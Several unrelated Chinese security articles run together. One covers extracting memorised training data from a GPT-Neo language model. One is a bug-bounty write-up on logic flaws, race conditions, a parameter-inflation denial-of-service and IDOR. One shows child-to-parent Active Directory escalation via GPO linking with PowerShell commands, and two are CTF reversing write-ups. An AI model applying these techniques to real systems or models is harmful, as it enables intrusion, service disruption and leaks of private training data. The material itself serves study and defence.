检查每个提示生成的序列是否与真实序列匹配。
计算匹配的提示数量占总提示数量的比例。
5. prepare_data
功能: 准备数据和目录结构以进行实验。
输入:
val_set_num: 验证集的数量。
实现:
构造实验目录和生成结果、损失结果的子目录。
加载提示数据,并提取验证集部分的提示数据。
返回构造的目录路径和提示数据。
### 如下函数组合在一起用于处理和评估语言模型的生成任务。
write_guesses_order函数将生成的序列按顺序写入CSV文件,便于进一步分析。
edit_dist函数计算生成序列和真实序列之间的编辑距离,这是评估生成质量的重要指标。
metric_print函数计算并打印各种评估指标,包括精度、多提示精度、前100个错误之前的正确匹配数、汉明距离和编辑距离。这些指标帮助全面评估模型在生成任务中的表现和准确性。
1. write_guesses_order
功能: 将生成的序列按顺序写入CSV文件。
输入:
generations_per_prompt: 每个提示生成的序列数。
order: 序列的顺序索引。
guesses_order: 生成的序列按顺序排列。
实现:
打开CSV文件进行写操作,文件名包含generations_per_prompt。
写入表头。
遍历序列索引和生成的序列,将每个序列按指定格式写入CSV文件。
2. edit_dist
功能: 计算生成序列和真实序列之间的编辑距离。
输入:
answers: 真实序列。
generations_one: 生成的单个序列。
实现:
初始化编辑距离总和为0。
遍历真实序列和生成序列,计算每对序列的编辑距离并累加。
返回平均编辑距离。
3. metric_print
功能: 计算并打印各种评估指标。
输入:
generations_one: 单个生成序列。
all_generations: 所有生成序列。
generations_per_prompt: 每个提示生成的序列数。
generations_order: 按顺序排列的生成序列。
order: 序列的顺序索引。
val_set_num: 验证集的数量。
实现:
加载真实答案数据。
打印生成序列和真实序列的形状。
计算生成序列的精度并打印。
计算多提示生成序列的精度并打印。
计算前100个错误之前的正确匹配数并打印。
计算生成序列和真实序列的汉明距离并打印。
计算生成序列和真实序列的编辑距离并打印。
返回各种评估指标。
我们首先来看基线的攻击效果
我们在前面提到Zlib 压缩算法,可以用来衡量文本的熵,即信息内容的量化指标。在这项研究中,Zlib 用于与语言模型计算的困惑度相结合,作为成员推断的一个度量标准。具体地,使用 GPT-Neo 模型对给定句子计算的困惑度与相同句子的 Zlib 熵的比值,来评估句子是否可能属于模型的训练数据集。但是 Zlib 方法的效果是有限的。尽管 Zlib 熵和困惑度都是衡量模型对句子预测信心的指标,且两者在模型高度自信时趋于减少,但它们在成员推断任务的整体性能上只产生了边际(即很小的)改进。这表明,尽管 Zlib 方法在理论上是一个有趣的尝试,但在实际应用中可能不是最有效的手段。所以我们可以来看看是否如此
首先来看看zlib在实现上的不同
generate_for_prompts函数用于生成给定提示的输出序列,并计算每个生成序列的损失
输入参数
prompts: 一个包含提示序列的numpy数组。
batch_size: 每个批次处理的提示数量,默认值为32。
输出
生成的序列数组和对应的损失数组。
步骤
初始化:
generations 和 losses 用于存储生成的序列和计算的损失。
generation_len 计算生成序列的长度,该长度为后缀和前缀的总和。
批次处理:
将提示序列按批次进行处理。
对每个批次,提取相应的提示序列,并将其转换为PyTorch张量。
生成序列:
在禁用梯度计算的上下文中,使用模型生成序列。
max_length 设置为生成序列的总长度。
do_sample=True 和 top_k=10 控制生成策略。
pad_token_id=50256 设置填充标记ID,避免警告。
计算损失:
生成序列后,计算每个生成序列的概率。
将生成的序列作为输入和标签传递给模型。
提取logits并重新形状,以适应交叉熵损失计算。
计算每个标记的损失,只考虑后缀部分的损失。
压缩长度调整:
使用zlib库对每个生成的序列进行压缩,并获取压缩后的长度。
调整每个生成序列的损失,使其与压缩长度成正比。
结果存储:
将生成的序列和对应的损失添加到结果列表中。
最后,将结果转换为至少二维的numpy数组并返回。
该函数通过以下几个步骤生成序列并计算损失:
按批次加载提示序列。
使用预训练模型生成序列。
计算生成序列的损失。
通过压缩调整损失。
存储并返回生成的序列和损失。
这种方法既考虑了生成序列的质量(通过损失计算),又通过压缩长度的调整,间接考虑了序列的复杂性和压缩率。
执行后效果如下
之前还提到了动态上下文窗口(Dynamic Context Window)技术。
在语言模型生成文本时,如果生成了一个错误的token,可能会因为语言模型的自回归特性而导致后续的token也生成错误。通过使用动态上下文窗口,可以从不同长度的历史上下文中获取信息,这有助于减少这种错误传播。通过调整上下文窗口的大小,即考虑不同数量的之前生成的token,可以帮助模型更好地理解前缀的上下文,从而提高生成后缀的准确性。文中提到的实验结果显示,使用动态上下文窗口可以显著提高数据提取的准确性。动态上下文窗口允许模型在生成每个token时考虑不同长度的上下文,这增加了生成过程的灵活性,使模型能够根据当前的上下文信息选择最合适的token。
有两种实现动态上下文窗口的方法。第一种是加权平均策略(Weighted Average Strategy),第二种是基于投票机制的策略(Voting Strategy)。两种方法都旨在结合不同窗口大小生成的概率,以提高生成后缀的准确性。
我们首先来看代码上的不同
1. winlen_logits_output
功能: 计算输入序列的一部分(从win_len到input_len的片段)的模型输出logits。
输入:
input_batch: 输入序列的批次。
win_len: 截断窗口的起始位置。
input_len: 截断窗口的结束位置。
answer_batch: 真实答案的批次。
实现:
禁用梯度计算以提高效率。
截取输入序列的指定部分并传递给模型,计算logits。
初始化一个空列表val,准备存储一些计算结果(但在此函数中并未实际使用)。
根据训练标志决定如何处理logits。
返回最后一层logits和空的val列表。
2. zlib_filter
功能: 预留的过滤函数,目前没有实现任何功能。
3. vote_for_the_one
功能: 通过投票机制选择最可能的输出序列。
输入:
last_logits: 最后一层的logits。
k: 用于投票的前k个logits。
answers: 真实答案。
input_len: 输入序列的长度。
实现:
初始化投票计数数组。
获取logits中每个序列的前k个最高值的索引。
为每个索引分配线性权重。
打印预测结果和原始结果的比较。
返回投票计数最高的索引作为最终预测。
4. logits_add
功能: 通过加权求和的方式整合logits,得到最终的预测。
输入:
last_logits: 多个窗口的logits。
weight_win: 每个窗口的权重。
实现:
使用权重加权求和各个窗口的logits。
返回加权求和后的logits中概率最高的索引作为最终预测。
这些函数用于处理和评估生成模型的输出:
winlen_logits_output 提取并计算输入序列部分片段的logits,帮助理解模型对不同输入片段的响应。
vote_for_the_one 使用投票机制从logits中选择最可能的输出,提高预测的准确性。
logits_add 通过加权求和不同窗口的logits,进一步优化预测结果。
zlib_filter 目前未实现,可能预留用于将来对数据进行某种过滤处理。
这用于生成给定提示的输出序列,并计算每个生成序列的损失的函数
输入参数
prompts: 包含提示序列的numpy数组。
batch_size: 每个批次处理的提示数量。
_SUFFIX_LEN, _PREFIX_LEN: 后缀和前缀的长度。
_DATASET_DIR.value: 数据集的目录路径。
_val_set_num.value: 用于加载的验证集数量。
输出
生成的序列数组 (generations) 和对应的损失数组 (losses)。
主要步骤
初始化:
generations 和 losses 初始化为空列表。
generation_len 计算生成序列的长度,为后缀和前缀长度之和。
answers 加载验证集的答案数据。
循环处理提示序列:
根据设定的批次大小,循环处理提示序列。
每次循环中,提取并准备输入的提示批次 (prompt_batch) 和对应的答案批次 (answers_batch)。
生成序列:
使用带有截断窗口的方法生成序列,通过调用 gene_next_token 函数获取每次生成的下一个标记。
将生成的标记 (generated_tokens) 拼接在一起形成完整的生成序列。
将生成序列转换为PyTorch张量,并在禁用梯度计算的上下文中生成模型输出 (generated_tokens 是最终的生成序列)。
计算损失:
计算每个生成序列的logits。
使用交叉熵损失函数计算损失。
将损失加入到 losses 列表中。
返回结果:
将 generations 和 losses 转换为至少二维的numpy数组,并返回。
执行后效果如下
在上图可以看到指标有极大的提升(可以看precision,精确度是指正确生成的后缀占给定前缀总数的比例。这是通过比较生成的后缀和实际的训练数据后缀来计算的。精确度反映了模型生成正确后缀的能力。这个值越高说明效果越好;或者也可以看hamming dist,汉明距离是用来衡量两个等长字符串之间差异的指标,计算为两个字符串对应位置上不同符号的数量。在训练数据提取的上下文中,汉明距离用来定量评估生成后缀与真实后缀之间的相似度,提供了一个在token级别上对提取方法性能的评估。这个值越小,说明效果越好)
在来看看我们在上文提到的另一个改进策略:一种基于词级别的排名方法,称为 "Reward on high confidence"(简称 highconf 方法)。这种方法的核心思想是奖励那些在生成后缀中包含高置信度 token 的候选后缀。具体来说,如果一个生成的后缀中的某个 token 具有高于特定阈值(例如 0.9)的概率,那么这个后缀在排名时会被赋予更高的分数。这种策略的目的是利用语言模型对其预测的置信度来提高提取任务的性能。
对应的代码如下
这段代码的功能是生成给定提示的输出序列,并计算每个生成序列的损失。
输入参数
prompts: 包含提示序列的numpy数组。
batch_size: 每个批次处理的提示数量。默认为32。
输出
生成的序列数组 (generations) 和对应的损失数组 (losses)。
主要步骤
初始化:
generations 和 losses 初始化为空列表。
generation_len 计算生成序列的长度,为后缀和前缀长度之和。
将输入的 batch_size 设置为32,这个值在后续循环中使用。
循环处理提示序列:
根据设定的批次大小,循环处理提示序列。
每次循环中,提取并准备输入的提示批次 (prompt_batch),并将其转换为PyTorch张量 (input_ids)。
生成序列:
使用带有截断的方法生成序列,通过调用 _MODEL.generate 函数获取生成的标记 (generated_tokens)。
在生成的标记上禁用梯度计算,并通过计算模型输出 (outputs.logits) 获得每个标记的logits值。
损失计算:
计算每个标记的损失 (loss_per_token),使用交叉熵损失函数 (torch.nn.functional.cross_entropy)。
对损失进行后处理:
使用标准差过滤异常值,如果损失超出3倍标准差范围,则设置为1。
根据前两个最高的logits分数之间的差异和是否大于0.5来调整损失值。
最后,计算每个生成序列的平均损失 (likelihood)。
结果整理:
将生成的序列 (generated_tokens) 和损失 (likelihood) 添加到 generations 和 losses 列表中。
返回结果:
将 generations 和 losses 转换为至少二维的numpy数组,并返回。
执行后如下所示
在上图中,也是用我们之前说的方法,看指标,precision,hamming dist等都相比基线方法有了较大提升。也就表明我们在本文中所说的这些策略都是有效的。
记某项目的二顾茅庐5K实战
一顾茅庐
漏洞一:存在逻辑缺陷导致无限发布新动态和可修改动态问题
可以看到此时发布了一个动态,还可以发布两个动态。
点击发布新动态,填写好信息点击提交并抓包
可以发现成功发布,回到动态页面可以看到可发布次数还是2,并且新发布的动态比正常发布的还多了一个修改的功能,可以正常使用此功能进行修改已经发布的动态。
再发一次,字段还是-1,下面的展界改为135,正常发布动态是无法选择展界的,此时可以成功的任意修改数据,并且可发布数量还是为2,证明了可以无限次发布新动态。
漏洞二:存在突破发布数量限制的问题
目前还剩一次发布动态的机会,点击发布新动态并填写信息
点击提交并抓包,进行并发测试,并发结束后再将原包正常放回
可以发现是成功了一定的数量的,回到页面可以看到成功发布了7条动态,超过了系统的限制
漏洞三:查询处因设计缺陷存在拒绝服务攻击漏洞
正常查询的时候需要时间是834ms
可能图有点糊看不清,接口请求如下默认请求接口:xxx/query?current=1&size=10&title=&type=&read=&r=1695628867371将参数调大进行测试:xxx/query?current=1000&size=1000000&title=&type=10000000&read=&r=1695628867371然后发包,发现服务器的回显时间变得很长,达到了46337ms
此时再配合多线程就可以对服务器造成拒绝服务攻击致使服务器瘫痪,对所有用户的使用造成影响,危害大。这里为了不影响正常业务不进行下一步利用。
二顾茅庐
漏洞一:敏感信息泄露
随便点点点,来到人员证件申请处,点击查询并抓包,如下
抓取数据包
将value置空
url编码后重新发送,返回了大量敏感信息
漏洞二:未授权+越权
可以看到目前账号只有一个动态如图所示:
刷新此页面,然后进行抓包
逐个放包直到获取到此包,可以得到本人的动态信息
然后我们将companyId置空
可以未授权看到很多其它企业的敏感信息,并且可以看到我们所要的动态值
点击删除并抓包
然后放包,可以看到成功的删除掉了动态。此处存在水平越权
利用子域的System权限通往父域
前言
最近翻阅笔记发现一篇文章提到通过子域的System权限可以突破获取到父域权限,本文将对此技术进行尝试复现研究。
利用分析
环境信息:
子域:187、sub.cs.org
父域:197、cs.org
首先通过在子域的域控机器上打开mmc.exe->连接ADSI->配置来查看子域的配置命名上下文:
从配置中可以看到配置命名上下文的域名实际上是父域cs.org,因此判断子域中看到的信息可能是父域的副本:
继续查看配置对象的安全描述符中的ACL,发现子域没有权限去变更:
但是可以看到除了域用户、域管用户以外,还有一个特权ACL条目叫SYSTEM,该条目拥有完全控制权限:
SYSTEM属于一个特殊用户,不属于域内用户,因此理论上只要能做到是SYSTEM权限就能控制对象条目而不用关注是不是域内管理员。因此尝试使用SYSTEM权限继续打开配置命名上下文:
可以看到当子域拥有了SYSTEM权限后就可以修改来自父域副本的配置对象:
利用方式
既然可以控制父域的配置命名上下文,那如何利用呢?网上提到有几种方式,一种是通过GPO、还有的是提到给父域添加一个自己可控的证书模板(ESC1),这里以GPO组策略为例。先在子域域控上创建一个GPO:
New-GPO jumbo_gpo_test
设置计划任务:
通过SYSTEM权限把子域的GPO link到父域:
PS C:\Windows\system32> Get-ADDomainController -Server cs.org | select HostNane, ServerObjectDN
HostNane ServerObjectDN
-------- --------------
{} CN=10_4_45_197,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=orgPS C:\Windows\system32> New-GPLink -Name "jumbo_gpo_test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org" -Server sub.cs.org
GpoId : 76606696-cd03-4349-b0f2-0a45bdf305d4
DisplayName : jumbo_gpo_test
Enabled : True
Enforced : False
Target : CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=cs,DC=org
Order : 1
父域刷新组策略可以看到子域链接过来的GPO:
父域更新组策略成功执行计划任务notepad.exe:
gpupdate /force
刷新组策略后通过gpresult /r命名也可以看到添加的GPO:
总结
本文介绍了除SidHistory以外还可以通过子域的System权限进行突破到父域的攻击手法。
LLVM IR 深入研究分析
前置知识
LLVM是C++编写的构架编译器的框架系统,可用于优化以任意程序语言编写的程序。
LLVM IR可以理解为LLVM平台的汇编语言,所以官方也是以语言参考手册(Language Reference Manual)的形式给出LLVM IR的文档说明。既然是汇编语言,那么就和传统的CUP类似,有特定的汇编指令集。但是它又与传统的特定平台相关的指令集(x86,ARM,RISC-V等)不一样,它定位为平台无关的汇编语言。也就是说,LLVM IR是一种相对于CUP指令集高级,但是又是一种低级的代码中间表示(比抽象语法树等高级表示更加低级)。
LLVM IR即代码的中间表示,有三种形式:
.ll 格式:人类可以阅读的文本(汇编码) -->这个就是我们要学习的IR
.bc 格式:适合机器存储的二进制文件
内存表示
下面给出.ll格式和.bc格式生成及相互转换的常用指令清单:
.c -> .ll:clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s
那么我们以一道CTF赛题来分析实验,学习LLVM IR
实验解析
题目附件直接给出了中间表示.II文件
打开查看一下汇编码,毕竟.II文件是人类可以阅读的文本,这边笔者使用的是Sublime Text(使用VScode查看即可)代码量不多,大概600行
题目初步分析
我们直接寻找一下main函数
我们可以看出题目经历了两次RC4,然后Base64,我们从上面可以看到密文,RC4_key,我们直接一把锁,cyberchef启动,会发现解不出来,那么程序应该做了其他的操作,最朴素的,我们可以想到把RC4魔改了,base64魔改等等。
So!继续学习研究ing
.II详细分析
所以本着学习的态度,我们这时候应该掏出LLVM Language Reference Manual(官方文档)来简单了解学习一些常见指令、符号标识以及特性。这边给出一些分析 .ll 中间文件的算法流程
@ - 全局变量
% - 局部变量
alloca - 在当前执行的函数的堆栈帧中分配内存,当该函数返回到其调用者时,将自动释放内存
i32 - 32位4字节的整数
align - 对齐
load - 读出,store写入
icmp - 两个整数值比较,返回布尔值
br - 选择分支,根据条件来转向label,不根据条件跳转的话类型goto
label - 代码标签
call - 调用函数
首先看到一些全局变量,知道了RC4_key = llvmbitccipher = "TSzkWKgbMHszXaj@kLBmRrnTxsNtZsSOtZzqYikCw="
我们继续分析,重点分析各个function
b64encode
b64encode 魔改
每三个字符,24位,切分成4断,每段6位。
将6位对应的值 (value+ 59)&0xff 则是编码后的值。
%22 = getelementptr inbounds i8, i8* %19, i64 %21 // 取出当前处理字符
%23 = load i8, i8* %22, align 1
%24 = zext i8 %23 to i32 // 类型强制转化
%25 = ashr i32 %24, 2 // 算数右移两位 input[i]>>2
%26 = add nsw i32 %25, 59 // input[i]+59
%27 = trunc i32 %26 to i8 // 强制转化 相当于 &0xff
%28 = load i8*, i8** %6, align 8
%29 = load i32, i32* %9, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds i8, i8* %28, i64 %30 // 存储base64 编码串
store i8 %27, i8* %31, align 1
%32 = load i8*, i8** %4, align 8
%33 = load i32, i32* %7, align 4
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, i8* %32, i64 %34
%36 = load i8, i8* %35, align 1
%37 = zext i8 %36 to i32
%38 = and i32 %37, 3 // 获取第一个字符 低两位
%39 = shl i32 %38, 4 // 左移四位
RC4_init
RC4_init 正常,无魔改
define dso_local void @Rc4_Init(i8*, i32) #0 { //RC4_init function
%3 = alloca i8*, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i8* %0, i8** %3, align 8
store i32 %1, i32* %4, align 4 //初始化S,T盒
call void @llvm.memset.p0i8.i64(i8* align 16 getelementptr inbounds ([256 x i8], [256 x i8]* @s, i64 0, i64 0), i8 0, i64 256, i1 false)
call void @llvm.memset.p0i8.i64(i8* align 16 getelementptr inbounds ([256 x i8], [256 x i8]* @t, i64 0, i64 0), i8 0, i64 256, i1 false)
store i32 0, i32* %5, align 4
br label %7
7: ; preds = %26, %2
%8 = load i32, i32* %5, align 4
%9 = icmp slt i32 %8, 256
br i1 %9, label %10, label %29 //如果 %9 为真(即 %8 小于 256),跳转到标签 %10;否则跳转到标签 %29,根据t打乱s盒
10: ; preds = %7
%11 = load i32, i32* %5, align 4
%12 = trunc i32 %11 to i8
%13 = load i32, i32* %5, align 4
%14 = sext i32 %13 to i64
%15 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %14
store i8 %12, i8* %15, align 1
%16 = load i8*, i8** %3, align 8
%17 = load i32, i32* %5, align 4
%18 = load i32, i32* %4, align 4
%19 = urem i32 %17, %18
%20 = zext i32 %19 to i64
%21 = getelementptr inbounds i8, i8* %16, i64 %20
%22 = load i8, i8* %21, align 1
%23 = load i32, i32* %5, align 4
%24 = sext i32 %23 to i64
%25 = getelementptr inbounds [256 x i8], [256 x i8]* @t, i64 0, i64 %24
store i8 %22, i8* %25, align 1
br label %26
26: ; preds = %10
%27 = load i32, i32* %5, align 4
%28 = add nsw i32 %27, 1
store i32 %28, i32* %5, align 4
br label %7
29: ; preds = %7
store i32 0, i32* %6, align 4
store i32 0, i32* %5, align 4
br label %30
30: ; preds = %54, %29
%31 = load i32, i32* %5, align 4
%32 = icmp slt i32 %31, 256
br i1 %32, label %33, label %57
33: ; preds = %30
%34 = load i32, i32* %6, align 4
%35 = load i32, i32* %5, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %36
%38 = load i8, i8* %37, align 1
%39 = zext i8 %38 to i32
%40 = add nsw i32 %34, %39
%41 = load i32, i32* %5, align 4
%42 = sext i32 %41 to i64
%43 = getelementptr inbounds [256 x i8], [256 x i8]* @t, i64 0, i64 %42
%44 = load i8, i8* %43, align 1
%45 = zext i8 %44 to i32
%46 = add nsw i32 %40, %45
%47 = srem i32 %46, 256
store i32 %47, i32* %6, align 4
%48 = load i32, i32* %5, align 4
%49 = sext i32 %48 to i64
%50 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %49
%51 = load i32, i32* %6, align 4
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %52
call void @swap(i8* %50, i8* %53) //call swap function
br label %54
RC4_enc
RC4_enc 魔改 多了一层xor 89
define dso_local void @Rc4_Encrypt(i8*, i32) #0 { //RC4_enc function
%3 = alloca i8*, align 8
%4 = alloca i32, align 4
%5 = alloca i8, align 1
%6 = alloca i8, align 1
%7 = alloca i8, align 1
%8 = alloca i8, align 1
store i8* %0, i8** %3, align 8
store i32 %1, i32* %4, align 4
store i8 0, i8* %6, align 1
store i8 0, i8* %7, align 1
store i8 0, i8* %8, align 1
br label %9
9: ; preds = %14, %2
%10 = load i8, i8* %8, align 1
%11 = zext i8 %10 to i32
%12 = load i32, i32* %4, align 4
%13 = icmp ult i32 %11, %12
br i1 %13, label %14, label %64
14: ; preds = %9
%15 = load i8, i8* %6, align 1
%16 = zext i8 %15 to i32
%17 = add nsw i32 %16, 1
%18 = srem i32 %17, 256
%19 = trunc i32 %18 to i8
store i8 %19, i8* %6, align 1
%20 = load i8, i8* %7, align 1
%21 = zext i8 %20 to i32
%22 = load i8, i8* %6, align 1
%23 = zext i8 %22 to i64
%24 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %23 //生成密钥流
%25 = load i8, i8* %24, align 1
%26 = zext i8 %25 to i32
%27 = add nsw i32 %21, %26
%28 = srem i32 %27, 256
%29 = trunc i32 %28 to i8
store i8 %29, i8* %7, align 1
%30 = load i8, i8* %6, align 1
%31 = zext i8 %30 to i64
%32 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %31
%33 = load i8, i8* %7, align 1
%34 = zext i8 %33 to i64
%35 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %34 //经典Swap了再加
call void @swap(i8* %32, i8* %35)
%36 = load i8, i8* %6, align 1
%37 = zext i8 %36 to i64
%38 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %37
%39 = load i8, i8* %38, align 1
%40 = zext i8 %39 to i32
%41 = load i8, i8* %7, align 1
%42 = zext i8 %41 to i64
%43 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %42
%44 = load i8, i8* %43, align 1
%45 = zext i8 %44 to i32
%46 = add nsw i32 %40, %45
%47 = srem i32 %46, 256
%48 = sext i32 %47 to i64
%49 = getelementptr inbounds [256 x i8], [256 x i8]* @s, i64 0, i64 %48
%50 = load i8, i8* %49, align 1
store i8 %50, i8* %5, align 1
%51 = load i8, i8* %5, align 1
%52 = zext i8 %51 to i32
%53 = xor i32 %52, 89 //xor 89
%54 = load i8*, i8** %3, align 8
%55 = load i8, i8* %8, align 1
%56 = zext i8 %55 to i64
%57 = getelementptr inbounds i8, i8* %54, i64 %56
%58 = load i8, i8* %57, align 1
%59 = zext i8 %58 to i32
%60 = xor i32 %59, %53 //xor k
%61 = trunc i32 %60 to i8
store i8 %61, i8* %57, align 1
%62 = load i8, i8* %8, align 1
%63 = add i8 %62, 1
store i8 %63, i8* %8, align 1
br label %9
64: ; preds = %9
ret void
}
main
main函数逻辑cipher -->RC4_init-->RC4_enc-->RC4_enc-->b64encode需要注意一下在RC4_enc的参数中,传入的数据块长度是固定的16,所以说程序进行两次RC4_enc的原因也就确定了,是为了分两次对程序进行加密,也算是一点点小手段,总之,即使让你好好分析.II代码,考察对软件分析的细节,耐心,嘻嘻。
OK,理清楚逻辑,就可以试着敲代码解密啦。
解密
逆向分析过程明了之后,那么写代码就简单多了
#include<stdio.h>
unsigned char s[300],t[300];
void b64decode(unsigned char * enc,unsigned char* dec);
void Rc4_dec1(int len, unsigned char *enc);
void Rc4_Init(char *key,int len);
void Rc4_dec2(int len, unsigned char *enc);
int main() {
unsigned char enc[50]="TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw=";
unsigned char dec1[50]={0x00};
char key[10] ="llvmbitc";
unsigned char a[50];
int i=0;
b64decode(enc,dec1);
Rc4_Init(key,8);
Rc4_dec1(16,&dec1[16]);
for(i=0;i<16;i++) {
dec1[i+16]^=dec1[i];
}
Rc4_Init(key,8);
Rc4_dec2(16,dec1);
printf("%s",dec1);
return 0;
}
void b64decode(unsigned char * enc,unsigned char* dec) {
int i=0,j=0;
for(i=0;i<40;i+=4) {
dec[j] = ((enc[i]-59)<<2)&0xfc | (((enc[i+2]-59)>>4))&3;
dec[j+1] = (((enc[i+2]-59)&0xf)<<4) | (((enc[i+1]-59)>>2)&0xf);
dec[j+2] = (((enc[i+1]-59)&3)<<6) | ((enc[i+3]-59)&0x3f);
j+=3;
}
dec[j] = ((enc[i]-59)<<2)&0xfc | (((enc[i+1]-59)>>4))&3;
dec[j+1] = (((enc[i+2]-59)>>2)&0xf) | (((enc[i+1]-59)<<4)&0xf0);
dec[j+2]=0;
}
void Rc4_Init(char *key,int len) {
int i=0,v5=0;
unsigned char temp;
for(i=0;i<256;i++) {
s[i] =i;
t[i] = key[i%len];
}
for(i=0;i<256;i++) {
v5=(s[i]+t[i]+v5)%256;
temp = s[i];
s[i]= s[v5];
s[v5]=temp;
}
}
void Rc4_dec1(int len, unsigned char *enc) {
int v3=0,v5=0,i,j;
unsigned char temp;
for(i=0;i<len;i++) {
v3=(v3+1)%256;
v5=(s[v3]+v5)%256;
temp=s[v3];
s[v3]=s[v5];
s[v5]=temp;
}
v5=v3=0;
for(i=0;i<len;i++) {
v3=(v3+1)%256;
v5 = (s[v3]+v5)%256;
temp = s[v3];
s[v3]=s[v5];
s[v5]=temp;
enc[i]^=s[(s[v5]+s[v3])%256]^0x59;
}
}
void Rc4_dec2(int len, unsigned char *enc) {
int v3=0,v5=0,i,j;
unsigned char temp;
v5=v3=0;
for(i=0;i<len;i++) {
v3=(v3+1)%256;
v5 = (s[v3]+v5)%256;
temp = s[v3];
s[v3]=s[v5];
s[v5]=temp;
enc[i]^=s[(s[v5]+s[v3])%256]^0x59;
}
}
flag{Hacking_for_fun@reverser$!}
总结
通过这么一道CTF题目,深入学习LLVM IR的冰山一角,认真实验,细细分析,相信会对你有极大帮助。当然,如果单从解题来说,对于解决这道题有很多的办法,比如说将.II转化为可执行文件,然后IDA分析,但我们旨在学习LLVM IR,这里不再过多赘述。
MFC框架软件逆向研究
MFC框架简介
什么是mfc?
MFC库是开发Windows应用程序的C++接口。MFC提供了面向对象的框架,采用面向对象技术,将大部分的Windows API 封装到C++类中,以类成员函数的形式提供给程序开发人员调用。
简单来说,MFC是一种面向对象,用于开发windows应用程序的框架,突出特点是封装了大部分windows API,便于开发人员使用(写win挂方便)。
MFC程序的运行过程分为以下四步:
利用全局应用程序对象theApp启动应用程序。
调用全局应用程序对象的构造函数,从而调用基类(CWinApp)的构造函数,完成应用程序的一些初始化工作,并将应用程序对象的指针保存起来。
进入WinMain函数。在AfxWinMain函数中获取子类的指针,利用指针实现上述的三个函数,从而完成窗口的创建注册等工作。
进入消息循环,一直到WM_QUIT。
那么问题来了,我们如何逆向mfc程序呢?因为其封装了大部分windows API,逆向起来也复杂了不少,因为需要了解大量的windows api 并且熟悉windows编程。下面进行讲解。
MFC如何逆向
如下图,是MFC框架软件的基本界面,可以看到,就是一堆button,主要逆向也是check button。
那么,对于MFC逆向,我们主要需要知道的是,当我们执行某个操作(点击某个按钮)的时候,程序会执行什么处理函数。在mfc中,程序是使用消息机制来实现操作响应的,这个是消息映射表的代码:
struct AFX_MSGMAP{
AFX_MSGMAP * pBaseMessageMap;
AFX_MSGMAP_ENTRY * lpEntries;
}
struct AFX_MSGMAP_ENTRY{
UINT nMessage; //Windows Message
UINT nCode //Control code or WM_NOTIFY code
UINT nID; //control ID (or 0 for windows messages)
UINT nLastID; //used for entries specifying a range of control id's
UINT nSig; //signature type(action) or pointer to message
AFX_PMSG pfn; //routine to call (or specical value)
}
其中这个AFX_MSGMAP_ENTRY中的最后一个成员AFX_PMSG就是一个函数指针,指向了当前控件绑定的函数。同时,这个nID成员描述的是当前控件的ID,利用这个ID就能确定我们所寻找的控件。然后这个AFX_MSGMAP结构体则会记录一个指向AFX_MSGMAP_ENTRY的指针,于是查找控件的注册函数的思路可以缩小为:
找到AFX_MSGMAP
找到控件的ID --- 关键就是找ID
那么,我们又该怎么找到控件ID呢,俗话说“工欲善其事,必先利其器”,作为逆向分析人员,肯定要选择好分析的工具了,很庆幸,我们站在巨人的肩膀上,针对mfc软件程序的逆向分析,前辈们已经开发了一些非常好用的小工具,我们可以直接使用它们。例如:
xspy
ResourceHacker
彗星小助手
其中我们主要用的是xspy,mfc分析利器如下图所示
逆向实验-以CTF赛题为例讲解
demo1 - MFC初探
打开程序软件
程序的标题Flag就在控件中,然后界面内容是让我们找一个key。很明显,我们需要找到两个东西
标题找Flag(也就是找窗口句柄)
内容找key
根据这些内容,告诉我们我们去找控件,然后这时候就要掏出xspy了。不然的话,我们如果使用老一套经典分析流程,die+ida对用架构分析,会发生下面这样的事。首先die查个架构,查个壳
好家伙,VMP壳,PE32ida走起,如下图,emmm....
这样的话,我们很难继续往下分析,所以我们使用xspy分析。使用方法如下图
首先我们找到了Flag_enc(944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b)我们知道特定的,窗口句柄叫 HWND
然后我们可以发现一条特殊的onMsgOnMsg:0464,func= 0x00402170(MFC1.exe+ 0x002170 )为什么特殊呢,因为只有它并不是以宏的形式出现,应该是作者自定义的消息,没有button等东西,所以程序怎么点击都无法触发任何效果;并且传入一个特殊数字0464,来触发效果。
那么,我们需要去发送这条消息来出发func函数以获取我们需要的key
#include<Windows.h>
#include<stdio.h>
int main()
{
HWND h = FindWindowA(NULL, "Flag就在控件里");
if (h)
{
SendMessage(h, 0x0464, 0, 0);
printf("success");
}
else printf("failure");
}
使用 API FindWindow 获取窗口句柄,SendMessage发送消息,得到了key{I am a Des key}
最后DES解密即可
flag{thIs_Is_real_kEy_hahaaa}
Junk_instruction-西湖论剑
下面,再讲解一道大型比赛的赛题来实验打开,看到这个朴素的界面可以鉴定是MFC框架。
我们看到了一个input,还有一个check button,很明显,我们首先就需要去找check button的id&注册函数。
xspy-MFC分析
check按钮的id为03e9,同时窗口存在OnCommand: notifycode=0000 id=03e9,func= 0x00C72420(Junk_Instruction.exe+ 0x002420 )函数。那么对应的check逻辑肯定在基址+偏移0x002420处。打开ida,找到check函数 sub_402420 ,如下图
